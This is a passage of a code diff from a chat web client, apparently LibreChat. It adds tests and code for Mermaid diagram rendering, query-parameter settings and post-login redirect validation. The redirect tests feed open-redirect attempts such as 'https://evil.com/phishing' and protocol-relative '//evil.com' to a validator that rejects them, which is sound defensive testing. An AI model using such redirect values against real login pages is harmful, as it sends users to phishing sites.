+  const parser = new DOMParser();
+  const doc = parser.parseFromString(
+    `<svg xmlns="http://www.w3.org/2000/svg">${clusters}</svg>`,
+    'image/svg+xml',
+  );
+  return doc.querySelector('svg')!;
+};
+
+describe('mermaid config', () => {
+  describe('flowchart config invariants', () => {
+    it('inlineFlowchartConfig must have htmlLabels: false for blob URL <img> rendering', () => {
+      expect(inlineFlowchartConfig.htmlLabels).toBe(false);
+    });
+
+    it('artifactFlowchartConfig must have htmlLabels: true for direct DOM injection', () => {
+      expect(artifactFlowchartConfig.htmlLabels).toBe(true);
+    });
+
+    it('both configs share the same base layout settings', () => {
+      expect(inlineFlowchartConfig.curve).toBe(artifactFlowchartConfig.curve);
+      expect(inlineFlowchartConfig.nodeSpacing).toBe(artifactFlowchartConfig.nodeSpacing);
+      expect(inlineFlowchartConfig.rankSpacing).toBe(artifactFlowchartConfig.rankSpacing);
+      expect(inlineFlowchartConfig.padding).toBe(artifactFlowchartConfig.padding);
+    });
+  });
+
+  describe('getMermaidFiles', () => {
+    const content = 'graph TD\n  A-->B';
+
+    it('produces dark theme files when isDarkMode is true', () => {
+      const files = getMermaidFiles(content, true);
+      expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "dark"');
+      expect(files['mermaid.css']).toContain('#212121');
+    });
+
+    it('produces neutral theme files when isDarkMode is false', () => {
+      const files = getMermaidFiles(content, false);
+      expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "neutral"');
+      expect(files['mermaid.css']).toContain('#FFFFFF');
+    });
+
+    it('defaults to dark mode when isDarkMode is omitted', () => {
+      const files = getMermaidFiles(content);
+      expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "dark"');
+    });
+
+    it('includes securityLevel in generated component', () => {
+      const files = getMermaidFiles(content, true);
+      expect(files['/components/ui/MermaidDiagram.tsx']).toContain('securityLevel: "strict"');
+    });
+
+    it('includes all required file keys', () => {
+      const files = getMermaidFiles(content, true);
+      expect(files['diagram.mmd']).toBe(content);
+      expect(files['App.tsx']).toBeDefined();
+      expect(files['index.tsx']).toBeDefined();
+      expect(files['/components/ui/MermaidDiagram.tsx']).toBeDefined();
+      expect(files['mermaid.css']).toBeDefined();
+    });
+
+    it('uses artifact flowchart config with htmlLabels: true', () => {
+      const files = getMermaidFiles(content, true);
+      expect(files['/components/ui/MermaidDiagram.tsx']).toContain('"htmlLabels": true');
+    });
+
+    it('does not inject custom themeVariables into generated component', () => {
+      const darkFiles = getMermaidFiles(content, true);
+      const lightFiles = getMermaidFiles(content, false);
+      expect(darkFiles['/components/ui/MermaidDiagram.tsx']).not.toContain('themeVariables');
+      expect(lightFiles['/components/ui/MermaidDiagram.tsx']).not.toContain('themeVariables');
+    });
+
+    it('handles empty content', () => {
+      const files = getMermaidFiles('', true);
+      expect(files['diagram.mmd']).toBe('# No mermaid diagram content provided');
+    });
+  });
+
+  describe('fixSubgraphTitleContrast', () => {
+    it('darkens title text on light subgraph backgrounds (fill attribute)', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect fill="#FFF9C4"/><g class="cluster-label"><text fill="#E0E0E0">Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a');
+    });
+
+    it('darkens title text on light subgraph backgrounds (inline style fill)', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect style="fill: #FFF9C4; stroke: #F9A825"/><g class="cluster-label"><text>Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a');
+    });
+
+    it('lightens title text on dark subgraph backgrounds', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect fill="#1f2020"/><g class="cluster-label"><text fill="#222222">Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #f0f0f0');
+    });
+
+    it('leaves title text alone when contrast is already good', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect fill="#FFF9C4"/><g class="cluster-label"><text fill="#333333">Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      expect(svg.querySelector('text')!.getAttribute('style')).toBeNull();
+    });
+
+    it('skips clusters without a rect', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><g class="cluster-label"><text fill="#E0E0E0">Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      expect(svg.querySelector('text')!.getAttribute('style')).toBeNull();
+    });
+
+    it('skips clusters with non-hex fills', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect fill="rgb(255,249,196)"/><g class="cluster-label"><text fill="#E0E0E0">Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      expect(svg.querySelector('text')!.getAttribute('style')).toBeNull();
+    });
+
+    it('sets dark fill when text has no explicit fill on light backgrounds', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect style="fill:#FFF9C4"/><g class="cluster-label"><text>Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a');
+    });
+
+    it('preserves existing text style when appending fill override', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect fill="#FFF9C4"/><g class="cluster-label"><text style="font-size: 14px" fill="#E0E0E0">Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      const style = svg.querySelector('text')!.getAttribute('style')!;
+      expect(style).toContain('font-size: 14px');
+      expect(style).toContain('fill: #1a1a1a');
+    });
+
+    it('handles 3-char hex shorthand fills', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect fill="#FFC"/><g class="cluster-label"><text fill="#EEE">Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a');
+    });
+
+    it('avoids double semicolons when existing style has trailing semicolon', () => {
+      const svg = makeSvg(
+        '<g class="cluster"><rect fill="#FFF9C4"/><g class="cluster-label"><text style="font-size: 14px;" fill="#E0E0E0">Title</text></g></g>',
+      );
+      fixSubgraphTitleContrast(svg);
+      const style = svg.querySelector('text')!.getAttribute('style')!;
+      expect(style).not.toContain(';;');
+      expect(style).toContain('fill: #1a1a1a');
+    });
+  });
+});
diff --git a/client/src/utils/__tests__/redirect.test.ts b/client/src/utils/__tests__/redirect.test.ts
new file mode 100644
index 0000000000..6715608c0c
--- /dev/null
+++ b/client/src/utils/__tests__/redirect.test.ts
@@ -0,0 +1,184 @@
+import {
+  persistRedirectToSession,
+  getPostLoginRedirect,
+  isSafeRedirect,
+  SESSION_KEY,
+} from '../redirect';
+
+describe('isSafeRedirect', () => {
+  it('accepts a simple relative path', () => {
+    expect(isSafeRedirect('/c/new')).toBe(true);
+  });
+
+  it('accepts a path with query params and hash', () => {
+    expect(isSafeRedirect('/c/new?q=hello&submit=true#section')).toBe(true);
+  });
+
+  it('accepts a nested path', () => {
+    expect(isSafeRedirect('/dashboard/settings/profile')).toBe(true);
+  });
+
+  it('rejects an absolute http URL', () => {
+    expect(isSafeRedirect('https://evil.com')).toBe(false);
+  });
+
+  it('rejects an absolute http URL with path', () => {
+    expect(isSafeRedirect('https://evil.com/phishing')).toBe(false);
+  });
+
+  it('rejects a protocol-relative URL', () => {
+    expect(isSafeRedirect('//evil.com')).toBe(false);
+  });
+
+  it('rejects a bare domain', () => {
+    expect(isSafeRedirect('evil.com')).toBe(false);
+  });
+
+  it('rejects an empty string', () => {
+    expect(isSafeRedirect('')).toBe(false);
+  });
+
+  it('rejects /login to prevent redirect loops', () => {
+    expect(isSafeRedirect('/login')).toBe(false);
+  });
+
+  it('rejects /login with query params', () => {
+    expect(isSafeRedirect('/login?redirect_to=/c/new')).toBe(false);
+  });
+
+  it('rejects /login sub-paths', () => {
+    expect(isSafeRedirect('/login/2fa')).toBe(false);
+  });
+
+  it('rejects /login with hash', () => {
+    expect(isSafeRedirect('/login#foo')).toBe(false);
+  });
+
+  it('accepts the root path', () => {
+    expect(isSafeRedirect('/')).toBe(true);
+  });
+});
+
+describe('getPostLoginRedirect', () => {
+  beforeEach(() => {
+    sessionStorage.clear();
+  });
+
+  it('returns the redirect_to param when valid', () => {
+    const params = new URLSearchParams('redirect_to=%2Fc%2Fnew');
+    expect(getPostLoginRedirect(params)).toBe('/c/new');
+  });
+
+  it('falls back to sessionStorage when no URL param', () => {
+    sessionStorage.setItem(SESSION_KEY, '/c/abc123');
+    const params = new URLSearchParams();
+    expect(getPostLoginRedirect(params)).toBe('/c/abc123');
+  });
+
+  it('prefers URL param over sessionStorage', () => {
+    sessionStorage.setItem(SESSION_KEY, '/c/old');
+    const params = new URLSearchParams('redirect_to=%2Fc%2Fnew');
+    expect(getPostLoginRedirect(params)).toBe('/c/new');
+  });
+
+  it('clears sessionStorage after reading', () => {
+    sessionStorage.setItem(SESSION_KEY, '/c/abc123');
+    const params = new URLSearchParams();
+    getPostLoginRedirect(params);
+    expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+  });
+
+  it('returns null when no redirect source exists', () => {
+    const params = new URLSearchParams();
+    expect(getPostLoginRedirect(params)).toBeNull();
+  });
+
+  it('rejects an absolute URL from params', () => {
+    const params = new URLSearchParams('redirect_to=https%3A%2F%2Fevil.com');
+    expect(getPostLoginRedirect(params)).toBeNull();
+  });
+
+  it('rejects a protocol-relative URL from params', () => {
+    const params = new URLSearchParams('redirect_to=%2F%2Fevil.com');
+    expect(getPostLoginRedirect(params)).toBeNull();
+  });
+
+  it('rejects an absolute URL from sessionStorage', () => {
+    sessionStorage.setItem(SESSION_KEY, 'https://evil.com');
+    const params = new URLSearchParams();
+    expect(getPostLoginRedirect(params)).toBeNull();
+  });
+
+  it('rejects /login redirect to prevent loops', () => {
+    const params = new URLSearchParams('redirect_to=%2Flogin');
+    expect(getPostLoginRedirect(params)).toBeNull();
+  });
+
+  it('rejects /login sub-path redirect', () => {
+    const params = new URLSearchParams('redirect_to=%2Flogin%2F2fa');
+    expect(getPostLoginRedirect(params)).toBeNull();
+  });
+
+  it('still clears sessionStorage even when target is unsafe', () => {
+    sessionStorage.setItem(SESSION_KEY, 'https://evil.com');
+    const params = new URLSearchParams();
+    getPostLoginRedirect(params);
+    expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+  });
+});
+
+describe('login error redirect_to preservation (AuthContext onError pattern)', () => {
+  /** Mirrors the logic in AuthContext.tsx loginUser.onError */
+  function buildLoginErrorPath(search: string): string {
+    const redirectTo = new URLSearchParams(search).get('redirect_to');
+    return redirectTo && isSafeRedirect(redirectTo)
+      ? `/login?redirect_to=${encodeURIComponent(redirectTo)}`
+      : '/login';
+  }
+
+  it('preserves a valid redirect_to across login failure', () => {
+    const result = buildLoginErrorPath('?redirect_to=%2Fc%2Fnew');
+    expect(result).toBe('/login?redirect_to=%2Fc%2Fnew');
+  });
+
+  it('drops an open-redirect attempt (absolute URL)', () => {
+    const result = buildLoginErrorPath('?redirect_to=https%3A%2F%2Fevil.com');
+    expect(result).toBe('/login');
+  });
+
+  it('drops a /login redirect_to to prevent loops', () => {
+    const result = buildLoginErrorPath('?redirect_to=%2Flogin');
+    expect(result).toBe('/login');
+  });
+
+  it('returns plain /login when no redirect_to param exists', () => {
+    const result = buildLoginErrorPath('');
+    expect(result).toBe('/login');
+  });
+});
+
+describe('persistRedirectToSession', () => {
+  beforeEach(() => {
+    sessionStorage.clear();
+  });
+
+  it('stores a valid relative path', () => {
+    persistRedirectToSession('/c/new?q=hello');
+    expect(sessionStorage.getItem(SESSION_KEY)).toBe('/c/new?q=hello');
+  });
+
+  it('rejects an absolute URL', () => {
+    persistRedirectToSession('https://evil.com');
+    expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+  });
+
+  it('rejects a protocol-relative URL', () => {
+    persistRedirectToSession('//evil.com');
+    expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+  });
+
+  it('rejects /login paths', () => {
+    persistRedirectToSession('/login?redirect_to=/c/new');
+    expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+  });
+});
diff --git a/client/src/utils/artifacts.ts b/client/src/utils/artifacts.ts
index a1caf8c07e..13f3a23b47 100644
--- a/client/src/utils/artifacts.ts
+++ b/client/src/utils/artifacts.ts
@@ -7,6 +7,7 @@ import type {
 
 const artifactFilename = {
   'application/vnd.react': 'App.tsx',
+  'application/vnd.ant.react': 'App.tsx',
   'text/html': 'index.html',
   'application/vnd.code-html': 'index.html',
   // mermaid and markdown types are handled separately in useArtifactProps.ts
@@ -28,6 +29,7 @@ const artifactTemplate: Record<
 > = {
   'text/html': 'static',
   'application/vnd.react': 'react-ts',
+  'application/vnd.ant.react': 'react-ts',
   'application/vnd.mermaid': 'react-ts',
   'application/vnd.code-html': 'static',
   'text/markdown': 'react-ts',
@@ -119,6 +121,7 @@ const dependenciesMap: Record<
 > = {
   'application/vnd.mermaid': mermaidDependencies,
   'application/vnd.react': standardDependencies,
+  'application/vnd.ant.react': standardDependencies,
   'text/html': standardDependencies,
   'application/vnd.code-html': standardDependencies,
   'text/markdown': markdownDependencies,
diff --git a/client/src/utils/createChatSearchParams.ts b/client/src/utils/createChatSearchParams.ts
index 4e59b20507..64d327f43f 100644
--- a/client/src/utils/createChatSearchParams.ts
+++ b/client/src/utils/createChatSearchParams.ts
@@ -1,11 +1,65 @@
 import {
+  EModelEndpoint,
   isAgentsEndpoint,
   tQueryParamsSchema,
   isAssistantsEndpoint,
 } from 'librechat-data-provider';
-import type { TConversation, TPreset } from 'librechat-data-provider';
+import type { TPreset, TConversation } from 'librechat-data-provider';
+import type { ZodAny } from 'zod';
 import { isEphemeralAgent } from '~/common';
 
+const parseQueryValue = (value: string) => {
+  if (value === 'true') {
+    return true;
+  }
+  if (value === 'false') {
+    return false;
+  }
+  if (!isNaN(Number(value))) {
+    return Number(value);
+  }
+  return value;
+};
+
+/**
+ * Processes and validates URL query parameters using schema definitions.
+ * Extracts valid settings based on tQueryParamsSchema and handles special endpoint cases
+ * for assistants and agents.
+ */
+export function processValidSettings(queryParams: Record<string, string>) {
+  const validSettings = {} as TPreset;
+
+  for (const [key, value] of Object.entries(queryParams)) {
+    try {
+      const schema = tQueryParamsSchema.shape[key] as ZodAny | undefined;
+      if (schema) {
+        const parsedValue = parseQueryValue(value);
+        const validValue = schema.parse(parsedValue);
+        validSettings[key] = validValue;
+      }
+    } catch (error) {
+      console.warn(`Invalid value for setting ${key}:`, error);
+    }
+  }
+
+  if (
+    validSettings.assistant_id != null &&
+    validSettings.assistant_id &&
+    !isAssistantsEndpoint(validSettings.endpoint)
+  ) {
+    validSettings.endpoint = EModelEndpoint.assistants;
+  }
+  if (
+    validSettings.agent_id != null &&
+    validSettings.agent_id &&
+    !isAgentsEndpoint(validSettings.endpoint)
+  ) {
+    validSettings.endpoint = EModelEndpoint.agents;
+  }
+
+  return validSettings;
+}
+
 const allowedParams = Object.keys(tQueryParamsSchema.shape);
 export default function createChatSearchParams(
   input: TConversation | TPreset | Record<string, string> | null,
diff --git a/client/src/utils/index.ts b/client/src/utils/index.ts
index b8117b2677..dae075b471 100644
--- a/client/src/utils/index.ts
+++ b/client/src/utils/index.ts
@@ -13,6 +13,7 @@ export * from './agents';
 export * from './drafts';
 export * from './convos';
 export * from './routes';
+export * from './redirect';
 export * from './presets';
 export * from './prompts';
 export * from './textarea';
@@ -23,17 +24,17 @@ export * from './resources';
 export * from './roles';
 export * from './localStorage';
 export * from './promptGroups';
+export * from './previewCache';
 export * from './email';
 export * from './share';
 export * from './timestamps';
 export { default as cn } from './cn';
 export { default as logger } from './logger';
-export { default as scaleImage } from './scaleImage';
 export { default as getLoginError } from './getLoginError';
 export { default as cleanupPreset } from './cleanupPreset';
 export { default as buildDefaultConvo } from './buildDefaultConvo';
 export { default as getDefaultEndpoint } from './getDefaultEndpoint';
-export { default as createChatSearchParams } from './createChatSearchParams';
+export { default as createChatSearchParams, processValidSettings } from './createChatSearchParams';
 export { getThemeFromEnv } from './getThemeFromEnv';
 
 export const languages = [
diff --git a/client/src/utils/mermaid.ts b/client/src/utils/mermaid.ts
index 7930d9ab1e..60ea96ee55 100644
--- a/client/src/utils/mermaid.ts
+++ b/client/src/utils/mermaid.ts
@@ -1,15 +1,157 @@
 import dedent from 'dedent';
 
-const mermaid = dedent(`import React, { useEffect, useRef, useState } from "react";
+interface MermaidButtonStyles {
+  bg: string;
+  bgHover: string;
+  border: string;
+  text: string;
+  textSecondary: string;
+  shadow: string;
+  divider: string;
+}
+
+const darkButtonStyles: MermaidButtonStyles = {
+  bg: 'rgba(40, 40, 40, 0.95)',
+  bgHover: 'rgba(60, 60, 60, 0.95)',
+  border: '1px solid rgba(255, 255, 255, 0.1)',
+  text: '#D1D5DB',
+  textSecondary: '#9CA3AF',
+  shadow: '0 2px 8px rgba(0, 0, 0, 0.4)',
+  divider: 'rgba(255, 255, 255, 0.1)',
+};
+
+const lightButtonStyles: MermaidButtonStyles = {
+  bg: 'rgba(255, 255, 255, 0.95)',
+  bgHover: 'rgba(243, 244, 246, 0.95)',
+  border: '1px solid rgba(0, 0, 0, 0.1)',
+  text: '#374151',
+  textSecondary: '#6B7280',
+  shadow: '0 2px 8px rgba(0, 0, 0, 0.1)',
+  divider: 'rgba(0, 0, 0, 0.1)',
+};
+
+const getButtonStyles = (isDarkMode: boolean): MermaidButtonStyles =>
+  isDarkMode ? darkButtonStyles : lightButtonStyles;
+
+const baseFlowchartConfig = {
+  curve: 'basis' as const,
+  nodeSpacing: 50,
+  rankSpacing: 50,
+  diagramPadding: 8,
+  useMaxWidth: true,
+  padding: 15,
+  wrappingWidth: 200,
+};
+
+/** Artifact renderer injects SVG directly into the DOM where foreignObject works */
+const artifactFlowchartConfig = {
+  ...baseFlowchartConfig,
+  htmlLabels: true,
+};
+
+/** Inline renderer converts SVG to a blob URL <img>; browsers block foreignObject in that context */
+const inlineFlowchartConfig = {
+  ...baseFlowchartConfig,
+  htmlLabels: false,
+};
+
+export { inlineFlowchartConfig, artifactFlowchartConfig };
+
+/** Perceived luminance (0 = black, 1 = white) via BT.601 luma coefficients */
+const hexLuminance = (hex: string): number => {
+  let h = hex.replace('#', '');
+  if (h.length === 3) {
+    h = h[0] + h[0] + h[1] + h[1] + h[2] + h[2];
+  }
+  if (h.length < 6) {
+    return -1;
+  }
+  const r = parseInt(h.slice(0, 2), 16) / 255;
+  const g = parseInt(h.slice(2, 4), 16) / 255;
+  const b = parseInt(h.slice(4, 6), 16) / 255;
+  return 0.299 * r + 0.587 * g + 0.114 * b;
+};
+
+/**
+ * Fixes subgraph title text contrast in mermaid SVGs rendered with htmlLabels: false.
+ * When a subgraph has an explicit light fill via `style` directives, the title <text>
+ * gets its fill from a CSS rule (.cluster-label text / .cluster text) set to titleColor.
+ * In dark mode, titleColor is light, producing invisible text on light backgrounds.
+ * This walks cluster groups and overrides the text fill attribute when contrast is poor.
+ */
+export const fixSubgraphTitleContrast = (svgElement: Element): void => {
+  const clusters = svgElement.querySelectorAll('g.cluster');
+  for (const cluster of clusters) {
+    const rect = cluster.querySelector(':scope > rect, :scope > polygon');
+    if (!rect) {
+      continue;
+    }
+
+    const inlineStyle = rect.getAttribute('style') || '';
+    const attrFill = rect.getAttribute('fill') || '';
+    const styleFillMatch = inlineStyle.match(/fill\s*:\s*(#[0-9a-fA-F]{3,8})/);
+    const hex = styleFillMatch?.[1] ?? (attrFill.startsWith('#') ? attrFill : '');
+    if (!hex) {
+      continue;
+    }
+
+    const bgLum = hexLuminance(hex);
+    if (bgLum < 0) {
+      continue;
+    }
+
+    const textElements = cluster.querySelectorAll(
+      ':scope > g.cluster-label text, :scope > text, :scope > g > text',
+    );
+    for (const textEl of textElements) {
+      const textFill = textEl.getAttribute('fill') || '';
+      const textStyle = textEl.getAttribute('style') || '';
+      const textStyleFill = textStyle.match(/fill\s*:\s*(#[0-9a-fA-F]{3,8})/);
+      const currentHex = textStyleFill?.[1] ?? (textFill.startsWith('#') ? textFill : '');
+      const isLightBg = bgLum > 0.5;
+
+      let newFill = '';
+      if (!currentHex) {
+        if (isLightBg) {
+          newFill = '#1a1a1a';
+        }
+      } else {
+        const textLum = hexLuminance(currentHex);
+        if (textLum < 0) {
+          continue;
+        }
+        if (isLightBg && textLum > 0.5) {
+          newFill = '#1a1a1a';
+        } else if (!isLightBg && textLum < 0.4) {
+          newFill = '#f0f0f0';
+        }
+      }
+
+      if (newFill) {
+        let sep = '';
+        if (textStyle) {
+          sep = textStyle.trimEnd().endsWith(';') ? ' ' : '; ';
+        }
+        textEl.setAttribute('style', `${textStyle}${sep}fill: ${newFill}`);
+      }
+    }
+  }
+};
+
+const buildMermaidComponent = (
+  mermaidTheme: string,
+  bgColor: string,
+  btnStyles: MermaidButtonStyles,
+) =>
+  dedent(`import React, { useEffect, useRef, useState, useCallback } from "react";
 import {
   TransformWrapper,
   TransformComponent,
   ReactZoomPanPinchRef,
 } from "react-zoom-pan-pinch";
 import mermaid from "mermaid";
-import { Button } from "/components/ui/button";
 
-const ZoomIn = () => (
+const ZoomInIcon = () => (
   <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
     <circle cx="11" cy="11" r="8"/>
     <line x1="21" x2="16.65" y1="21" y2="16.65"/>
@@ -18,7 +160,7 @@ const ZoomIn = () => (
   </svg>
 );
 
-const ZoomOut = () => (
+const ZoomOutIcon = () => (
   <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
     <circle cx="11" cy="11" r="8"/>
     <line x1="21" x2="16.65" y1="21" y2="16.65"/>
@@ -26,90 +168,147 @@ const ZoomOut = () => (
   </svg>
 );
 
-const RefreshCw = () => (
+const ResetIcon = () => (
   <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
-    <path d="M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8"/>
-    <path d="M21 3v5h-5"/>
-    <path d="M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16"/>
-    <path d="M8 16H3v5"/>
+    <path d="M1 4v6h6"/>
+    <path d="M3.51 15a9 9 0 1 0 2.13-9.36L1 10"/>
   </svg>
 );
 
+const CopyIcon = () => (
+  <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
+    <rect width="14" height="14" x="8" y="8" rx="2" ry="2"/>
+    <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2"/>
+  </svg>
+);
+
+const CheckIcon = () => (
+  <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
+    <polyline points="20 6 9 17 4 12"/>
+  </svg>
+);
+
+const btnBase = {
+  display: "inline-flex",
+  alignItems: "center",
+  justifyContent: "center",
+  width: "28px",
+  height: "28px",
+  borderRadius: "4px",
+  background: "transparent",
+  border: "none",
+  color: "${btnStyles.text}",
+  cursor: "pointer",
+  padding: "6px",
+  transition: "background 0.15s ease",
+};
+
+const btnHover = {
+  ...btnBase,
+  background: "${btnStyles.bgHover}",
+};
+
+const toolbarStyle = {
+  position: "absolute",
+  bottom: "12px",
+  right: "12px",
+  display: "flex",
+  alignItems: "center",
+  gap: "2px",
+  padding: "4px",
+  borderRadius: "8px",
+  background: "${btnStyles.bg}",
+  boxShadow: "${btnStyles.shadow}",
+  backdropFilter: "blur(8px)",
+  border: "${btnStyles.border}",
+  zIndex: 10,
+};
+
+const dividerStyle = {
+  width: "1px",
+  height: "16px",
+  background: "${btnStyles.divider}",
+  margin: "0 4px",
+};
+
+const zoomTextStyle = {
+  minWidth: "3rem",
+  textAlign: "center",
+  fontSize: "12px",
+  color: "${btnStyles.textSecondary}",
+  userSelect: "none",
+  fontFamily: "system-ui, -apple-system, sans-serif",
+};
+
 interface MermaidDiagramProps {
   content: string;
 }
 
+interface IconButtonProps {
+  onClick: () => void;
+  children: React.ReactNode;
+  title: string;
+  disabled?: boolean;
+}
+
+const IconButton = ({ onClick, children, title, disabled = false }: IconButtonProps) => {
+  const [hovered, setHovered] = useState(false);
+  return (
+    <button
+      type="button"
+      onClick={onClick}
+      title={title}
+      aria-label={title}
+      disabled={disabled}
+      style={{
+        ...(hovered && !disabled ? btnHover : btnBase),
+        opacity: disabled ? 0.4 : 1,
+        cursor: disabled ? "default" : "pointer",
+      }}
+      onMouseEnter={() => setHovered(true)}
+      onMouseLeave={() => setHovered(false)}
+    >
+      {children}
+    </button>
+  );
+};
+
+const ZOOM_STEP = 0.1;
+const MIN_SCALE = 0.1;
+const MAX_SCALE = 10;
+
 const MermaidDiagram: React.FC<MermaidDiagramProps> = ({ content }) => {
   const mermaidRef = useRef<HTMLDivElement>(null);
   const transformRef = useRef<ReactZoomPanPinchRef>(null);
   const [isRendered, setIsRendered] = useState(false);
+  const [zoomLevel, setZoomLevel] = useState(100);
+  const [copied, setCopied] = useState(false);
 
   useEffect(() => {
     mermaid.initialize({
       startOnLoad: false,
-      theme: "base",
-      themeVariables: {
-        background: "#282C34",
-        primaryColor: "#333842",
-        secondaryColor: "#333842",
-        tertiaryColor: "#333842",
-        primaryTextColor: "#ABB2BF",
-        secondaryTextColor: "#ABB2BF",
-        lineColor: "#636D83",
-        fontSize: "16px",
-        nodeBorder: "#636D83",
-        mainBkg: '#282C34',
-        altBackground: '#282C34',
-        textColor: '#ABB2BF',
-        edgeLabelBackground: '#282C34',
-        clusterBkg: '#282C34',
-        clusterBorder: "#636D83",
-        labelBoxBkgColor: "#333842",
-        labelBoxBorderColor: "#636D83",
-        labelTextColor: "#ABB2BF",
-      },
-      flowchart: {
-        curve: "basis",
-        nodeSpacing: 50,
-        rankSpacing: 50,
-        diagramPadding: 8,
-        htmlLabels: true,
-        useMaxWidth: true,
-        padding: 15,
-        wrappingWidth: 200,
-      },
+      theme: "${mermaidTheme}",
+      securityLevel: "strict",
+      flowchart: ${JSON.stringify(artifactFlowchartConfig, null, 8)},
     });
 
     const renderDiagram = async () => {
-      if (mermaidRef.current) {
-        try {
-          const { svg } = await mermaid.render("mermaid-diagram", content);
-          mermaidRef.current.innerHTML = svg;
+      if (!mermaidRef.current) {
+        return;
+      }
+      try {
+        const { svg } = await mermaid.render("mermaid-diagram", content);
+        mermaidRef.current.innerHTML = svg;
 
-          const svgElement = mermaidRef.current.querySelector("svg");
-          if (svgElement) {
-            svgElement.style.width = "100%";
-            svgElement.style.height = "100%";
-
-            const pathElements = svgElement.querySelectorAll("path");
-            pathElements.forEach((path) => {
-              path.style.strokeWidth = "1.5px";
-            });
-
-            const rectElements = svgElement.querySelectorAll("rect");
-            rectElements.forEach((rect) => {
-              const parent = rect.parentElement;
-              if (parent && parent.classList.contains("node")) {
-                rect.style.stroke = "#636D83";
-                rect.style.strokeWidth = "1px";
-              } else {
-                rect.style.stroke = "none";
-              }
-            });
-          }
-          setIsRendered(true);
-        } catch (error) {
-          console.error("Mermaid rendering error:", error);
+        const svgElement = mermaidRef.current.querySelector("svg");
+        if (svgElement) {
+          svgElement.style.width = "100%";
+          svgElement.style.height = "100%";
+        }
+        setIsRendered(true);
+      } catch (error) {
+        console.error("Mermaid rendering error:", error);
+        if (mermaidRef.current) {
           mermaidRef.current.innerHTML = "Error rendering diagram";
         }
       }
@@ -118,72 +317,90 @@ const MermaidDiagram: React.FC<MermaidDiagramProps> = ({ content }) => {
     renderDiagram();
   }, [content]);
 
-  const centerAndFitDiagram = () => {
+  const centerAndFitDiagram = useCallback(() => {
     if (transformRef.current && mermaidRef.current) {
       const { centerView, zoomToElement } = transformRef.current;
-      zoomToElement(mermaidRef.current as HTMLElement);
+      zoomToElement(mermaidRef.current);
       centerView(1, 0);
+      setZoomLevel(100);
     }
-  };
+  }, []);
 
   useEffect(() => {
     if (isRendered) {
       centerAndFitDiagram();
     }
-  }, [isRendered]);
+  }, [isRendered, centerAndFitDiagram]);
 
-  const handlePanning = () => {
-    if (transformRef.current) {
-      const { state, instance } = transformRef.current;
-      if (!state) {
-        return;
-      }
-      const { scale, positionX, positionY } = state;
-      const { wrapperComponent, contentComponent } = instance;
-
-      if (wrapperComponent && contentComponent) {
-        const wrapperRect = wrapperComponent.getBoundingClientRect();
-        const contentRect = contentComponent.getBoundingClientRect();
-        const maxX = wrapperRect.width - contentRect.width * scale;
-        const maxY = wrapperRect.height - contentRect.height * scale;
-
-        let newX = positionX;
-        let newY = positionY;
-
-        if (newX > 0) {
-          newX = 0;
-        }
-        if (newY > 0) {
-          newY = 0;
-        }
-        if (newX < maxX) {
-          newX = maxX;
-        }
-        if (newY < maxY) {
-          newY = maxY;
-        }
-
-        if (newX !== positionX || newY !== positionY) {
-          instance.setTransformState(scale, newX, newY);
-        }
-      }
+  const handleTransform = useCallback((ref) => {
+    if (ref && ref.state) {
+      setZoomLevel(Math.round(ref.state.scale * 100));
     }
-  };
+  }, []);
+
+  const handleCopy = useCallback(() => {
+    navigator.clipboard.writeText(content).then(() => {
+      setCopied(true);
+      setTimeout(() => setCopied(false), 2000);
+    }).catch(() => {});
+  }, [content]);
+
+  const handlePanning = useCallback(() => {
+    if (!transformRef.current) {
+      return;
+    }
